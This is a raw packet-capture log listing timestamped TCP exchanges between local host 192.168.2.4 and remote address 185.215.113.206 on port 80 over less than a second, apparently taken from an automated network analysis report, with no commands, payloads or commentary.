Oct 29, 2024 04:52:27.182838917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.336986065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337074995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337074995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.337086916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337146997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.337342978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337362051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337373018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337415934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.337596893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337645054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337651014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.337656975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337697029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.337697029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.337960005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337971926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.337996960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338011980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.338043928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.338303089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338356018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.338438034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338450909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338457108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338468075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338480949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.338557959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.338598013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.338999033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339067936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.339170933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339184046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339196920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339206934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339219093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339230061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339231968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.339232922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.339241982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.339255095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.339284897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.340073109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340085983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340095997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340107918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340118885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340131998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340140104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.340173960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.340173960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.340950966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340961933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340972900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340985060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.340996027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341006994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341012001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.341018915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341033936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.341070890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.341070890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.341792107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341804028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341814041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341837883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.341847897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.341871023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.341888905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.342221975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.342232943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.342243910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.342256069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.342267990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.342278957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.342278957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.342315912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.342315912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.343076944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.343090057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.343100071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.343115091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.343132019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.343143940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.343146086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.343184948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.343184948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.454180002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454248905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454261065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454276085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.454359055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.454545975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454557896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454583883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454596043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.454606056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.454644918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.454644918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.455027103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455035925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455085993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.455177069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455189943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455199957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455240011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.455240965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.455548048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455559969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455574989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455588102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455599070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.455602884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.455640078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.455640078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.456232071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456243038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456252098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456262112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456274033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456285000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456289053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.456296921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.456310034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.456330061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.456358910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.457108974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457120895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457130909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457145929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457155943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457165003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.457168102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457181931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457186937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.457206964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.457237959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.457983017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.457995892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458005905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458019018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458030939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458041906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458039045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.458059072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458060026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.458079100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.458102942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.458787918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458800077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.458842039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497004986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497047901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497057915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497092009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497174025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497275114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497287035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497330904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497497082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497509003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497519970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497530937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.497543097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497574091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497594118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.497997999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498011112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498020887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498027086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498033047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498182058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.498555899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498569965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498580933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498593092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.498625040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.498657942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.499006987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.499017954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.499027967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.499061108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.499093056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.571144104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571250916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.571295977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571306944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571350098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.571393013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571403980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571413994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571428061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571446896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.571482897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.571923018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571934938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571944952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571954012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.571974993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.572009087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.572356939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.572365999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.572376013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.572386980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.572398901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.572419882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.572419882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.572454929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.572856903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.572906017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573003054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573013067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573023081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573035002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573045969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573056936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573064089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573065042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573070049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573088884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573117971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573801994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573813915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573824883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573837996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573848963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573860884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.573859930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573859930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573894024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.573910952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.574501038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.574512005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.574553967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.574557066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.574570894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.574582100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.574603081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.574635983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.575208902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.575221062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.575231075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.575242996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.575254917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.575267076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.575273037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.575273991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.575306892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.576004982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.576015949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.576056957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614006042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614082098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614082098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614093065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614126921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614151955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614265919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614278078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614289045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614300966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614311934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614346027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614346027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614720106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614729881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614804983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.614900112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614912033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.614969015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.615190029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615200996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615216970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615227938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615238905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615252972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.615288019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.615288019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.615731001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615742922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.615783930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.616017103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.616028070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.616038084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.616048098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.616060972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.616072893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.616107941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.616107941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.688611984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.688667059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.688679934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.688683987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.688760996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.688760996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689097881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689110041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689120054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689130068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689158916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689202070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689348936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689358950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689368963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689380884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689392090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689409018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689444065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689444065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689878941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689889908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689898968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689912081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689923048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.689944029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689944029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.689976931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.690339088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690352917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690393925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.690427065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.690607071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690618038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690629005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690639973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690655947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.690663099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.690696955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.690696955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.691260099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.691272020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.691282034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.691293001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.691303968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.691323042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.691322088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.691360950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.691361904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.692143917 CET	80	49760	185.215.113.206	192.168.2.4
